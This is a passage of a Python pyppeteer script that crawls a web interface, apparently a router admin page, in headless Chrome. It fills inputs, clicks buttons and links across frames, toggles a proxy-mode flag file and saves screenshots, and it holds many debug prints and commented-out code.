| #mode = open("PROXY_MODE_FILE", 'w+') 147 | mode = open("PROXY_MODE_FILE", 'w+') 148 | mode.write('1') 149 | print("---------------change mode 1------------") 150 | #print(mode.readline()) 151 | mode.close() 152 | frames = page.mainFrame 153 | global input_id_list,click_id_list 154 | print(frames) 155 | if frames.childFrames == []: 156 | navigationPromise = asyncio.ensure_future(page.waitForNavigation()) 157 | M_input_id_list = input_id_list['M'] 158 | M_click_id_list = click_id_list['M'] 159 | for In in M_input_id_list: 160 | 161 | try: 162 | await page.type(In, "") 163 | except: 164 | print("could not input") 165 | for Cl in M_click_id_list: 166 | 167 | try: 168 | await page.click(Cl) 169 | await navigationPromise 170 | print("new page") 171 | await page.waitFor(300) 172 | #finalResponse = await page.waitForResponse(lambda res: res.url == page.url and res.status == 200) 173 | sshotname = "screenshot/"+ Cl + ".png" 174 | await page.screenshot({'path': sshotname}) 175 | except: 176 | print("could not click") 177 | else: 178 | num = 1 179 | for frame in frames.childFrames: 180 | print(frame) 181 | fnum = 'F'+ str(num) 182 | M_input_id_list = input_id_list[fnum] 183 | M_click_id_list = click_id_list[fnum] 184 | for In in M_input_id_list: 185 | print("input",In) 186 | try: 187 | await frame.type(In, "admin") 188 | except: 189 | print("could not input") 190 | 191 | for Cl in M_click_id_list: 192 | print("click",Cl) 193 | try: 194 | element = await frame.querySelector(Cl) 195 | print(element) 196 | await frame.click(Cl) 197 | await frame.waitForNavigation() 198 | print("new page") 199 | sshotname = "screenshot/"+ Cl + ".png" 200 | await page.screenshot({'path': sshotname}) 201 | except: 202 | print("could not click") 203 | 204 | num = num + 1 205 | 206 | 207 | async def goto_link(page): 208 | navigationPromise = asyncio.ensure_future(page.waitForNavigation()) 209 | num = 1 210 | for link in url_list: 211 | try: 212 | if link in clicked_link: 213 | print("have clicked") 214 | else: 215 | await page.goto(link) 216 | clicked_link.append(link) 217 | await navigationPromise 218 | 219 | await page.waitFor(300) 220 | #finalResponse = await page.waitForRes ponse(lambda res: res.url == page.url and res.status == 200) 221 | sshotname = "screenshot/"+ str(num) + ".png" 222 | await page.screenshot({'path': sshotname}) 223 | #await page.screenshot({'path': 'example.png'}) 224 | await page.goback() 225 | print("could reach") 226 | except: 227 | print("could not reach") 228 | num = num + 1 229 | 230 | async def click_link(page,struc,link_id):#点击链接 测试并截图 231 | 232 | try: 233 | print(link_id) 234 | navigationPromise = asyncio.ensure_future(page.waitForNavigation()) 235 | element = await page.querySelector(link_id) 236 | print("find",element) 237 | print(".....click1.....",link_id) 238 | 239 | await page.click(link_id) 240 | 241 | clicked_link.append(link_id) 242 | 243 | print("clicked",clicked_link) 244 | await navigationPromise 245 | #await page.waitForNavigation() 246 | mode = open("PROXY_MODE_FILE", 'w+') 247 | mode.write('0') 248 | mode.close() 249 | print("---------------change mode 0------------") 250 | print(".....click2.....",link_id) 251 | #await get_id_list(page,struc,1) 252 | 253 | #await get_id_list(page,struc,2) 254 | await get_id_list(page,struc,3) 255 | #print(".....click3.....",link_id) 256 | # sshotname = "screenshot/"+ link_id + ".png" 257 | # await page.screenshot({'path': sshotname}) 258 | print("start inputorclick") 259 | 260 | print("***************change mode") 261 | 262 | except: 263 | print("could not reach") 264 | 265 | async def goto_subpage(page):#前往子页面 266 | 267 | frames = page.mainFrame 268 | print(frames) 269 | if frames.childFrames == []: 270 | #get input element id 271 | for link_id in link_id_list['M']: 272 | if link_id in clicked_link : 273 | continue 274 | else: 275 | 276 | await click_link(page,'M',link_id) 277 | else: 278 | num = 0 279 | for struc in page_frames: 280 | x = 0 281 | for link_id in link_id_list[struc]: 282 | if link_id in clicked_link : 283 | continue 284 | else: 285 | print(num,link_id) 286 | frame = frames.childFrames[num] 287 | await click_link(frame,struc,link_id) 288 | num = num + 1 289 | 290 | 291 | async def current_page(page): 292 | frames = page.mainFrame 293 | global input_id_list,click_id_list,link_id_list 294 | print(frames) 295 | if frames.childFrames == []: 296 | #get input element id 297 | input_id_list['M'] = [] 298 | click_id_list['M'] = [] 299 | link_id_list['M'] = [] 300 | await get_id_list(page,'M',1) 301 | #get click element id 302 | await get_id_list(page,'M',2) 303 | #get link element id 304 | await get_id_list(page,'M',3) 305 | 306 | else: 307 | 308 | num = 1 309 | for frame in frames.childFrames: 310 | print(frame) 311 | fnum = 'F'+ str(num) 312 | input_id_list[fnum] = [] 313 | click_id_list[fnum] = [] 314 | link_id_list[fnum] = [] 315 | page_frames.append(fnum) 316 | print(fnum) 317 | #get input element id 318 | await get_id_list(frame,fnum,1) 319 | #get click element id 320 | await get_id_list(frame,fnum,2) 321 | #get link element id 322 | await get_id_list(frame,fnum,3) 323 | 324 | 325 | #print(url_list) 326 | print("input\n",input_id_list) 327 | print("click\n",click_id_list) 328 | num = num + 1 329 | 330 | 331 | 332 | 333 | async def main(): 334 | global browser, page, frame, input_id_list, click_id_list, url_list 335 | browser = await launch({ 336 | 337 | 'headless': True, # 关闭无头模式 338 | 'devtools': True, # 打开 chromium 的 devtools 339 | 'executablePath': '/home/zhw/.local/share/pyppeteer/chrome', 340 | 'args': [ 341 | '--disable-extensions', 342 | '--hide-scrollbars', 343 | '--disable-bundled-ppapi-flash', 344 | '--mute-audio', 345 | '--no-sandbox', 346 | '--disable-setuid-sandbox', 347 | '--disable-gpu', 348 | ], 349 | 'dumpio': True, 350 | }) 351 | print("-----------------login-------------------") 352 | page = await browser.newPage() 353 | 354 | await page.setViewport({'width': 1366, 'height': 768}) 355 | navigationPromise = asyncio.ensure_future(page.waitForNavigation()) 356 | await page.goto(root_url) 357 | #await page.waitFor(3000) 358 | await navigationPromise 359 | 360 | print(".................start get page's element_id.................") 361 | 362 | await current_page(page) 363 | 364 | print(".................start input/click...................") 365 | 366 | await force_inputorclick(page) 367 | 368 | #input.buttonBig:nth-child(3)#menu > div:nth-child(2) > a:nth-child(2) 369 | print("-----------------first step-------------------") 370 | 371 | # new_url = page.url3459 372 | # print(new_url) 373 | # if new_url in url_list: 374 | # print("not goto") 375 | # else: 376 | # print("new page") 377 | # url_list.append(new_url) 378 | 379 | 380 | await current_page(page) 381 | #print(link_id_list) 382 | await goto_subpage(page) 383 | print(url_list) 384 | #await current_page(page) 385 | 386 | await force_inputorclick(page) 387 | #frames = page.mainFrame 388 | 389 | # print(frames)setup 390 | 391 | # if frames.childFrames == []: 392 | 393 | 394 | # element = await page.querySelector("a[href='setup.php']") 395 | # print(element) 396 | # # await frame.click("#a22")#input.buttonBig:nth-child(2) 397 | # await page.click("a[href='setup.php']") 398 | 399 | 400 | 401 | # else: 402 | # print("********************") 403 | # num = 1 404 | 405 | # for frame in frames.childFrames: 406 | # # print(frame) 407 | 408 | # # for p in input_list: 409 | # # id_list = await get_element_list(frame,p) 410 | # # input_id_list.append(id_list) 411 | # # print(input_id_list) 412 | 413 | # # for p in click_list: 414 | # # id_list = await get_element_list(frame,p) 415 | # # click_id_list.append(id_list) 416 | # # print(click_id_list) 417 | # # print(url_list) 418 | # try: 419 | 420 | # element = await frame.querySelectorAll("#a2") 421 | 422 | # # await frame.click("#a22")#input.buttonBig:nth-child(2) 423 | # await frame.click("#a2") 424 | # await page.waitFor(3000) 425 | # await page.screenshot({'path': 'example.png'}) 426 | # fnum = 'F'+ str(num) 427 | # print(fnum) 428 | # # await get_id_list(page,fnum,1) 429 | # # print("#####") 430 | # # await get_id_list(page,fnum,2) 431 | # # try: 432 | # # element = await frame.querySelectorAll("[name] = 'NewDev'") 433 | # # except: 434 | # # print("123") 435 | # #print(element) 436 | 437 | # # new_url = page.url 438 | # # print(new_url) 439 | 440 | # except: 441 | # print("----------------------not click") 442 | # num = num + 1 443 | #await current_page(page) 444 | 445 | #await force_inputorclick(page) 446 | 447 | # frames = page.mainFrame 448 | 449 | # print(frames) 450 | # if frames.childFrames == []: 451 | # for p in input_list: 452 | # id_list = await get_element_list(page,p) 453 | # input_id_list.append(id_list) 454 | # print(input_id_list) 455 | 456 | # for p in click_list: 457 | # id_list = await get_element_list(page,p) 458 | # click_id_list.append(id_list) 459 | # print(click_id_list) 460 | 461 | # else: 462 | # print("********************") 463 | # num = 1 464 | 465 | # for frame in frames.childFrames: 466 | # try: 467 | # element = await frame.querySelector("input[name]") 468 | # name = await frame.evaluate('(element) => element.name', element) 469 | # print(name) 470 | # element = await frame.querySelector("input[name = EnWps]") 471 | # print(element) 472 | # except: 473 | # print("123") 474 | # print(frame) 475 | # await page.screenshot({'path': 'example.png'}) 476 | # for frame in frames.childFrames: 477 | # input_id_list = [] 478 | # click_id_list = [] 479 | # for p in input_list: 480 | # id_list = await get_element_list(frame,p) 481 | # input_id_list.append(id_list) 482 | # print(input_id_list) 483 | 484 | # for p in click_list: 485 | # id_list = await get_element_list(frame,p) 486 | # click_id_list.append(id_list) 487 | # print(click_id_list) 488 | #finalRequest = await page.waitForRequest(lambda req: req.url == url_list[3] and req.method == 'GET') 489 | #print(finalRequest) 490 | #await page.waitForRequest(url_list[3]) 491 | #await goto_link(page) 492 | await page.waitFor(3000) 493 | await page.screenshot({'path': 'example.png'}) 494 | await browser.close() 495 | #print(cookies) 496 | 497 | asyncio.get_event_loop().run_until_complete(main()) 498 | --------------------------------------------------------------------------------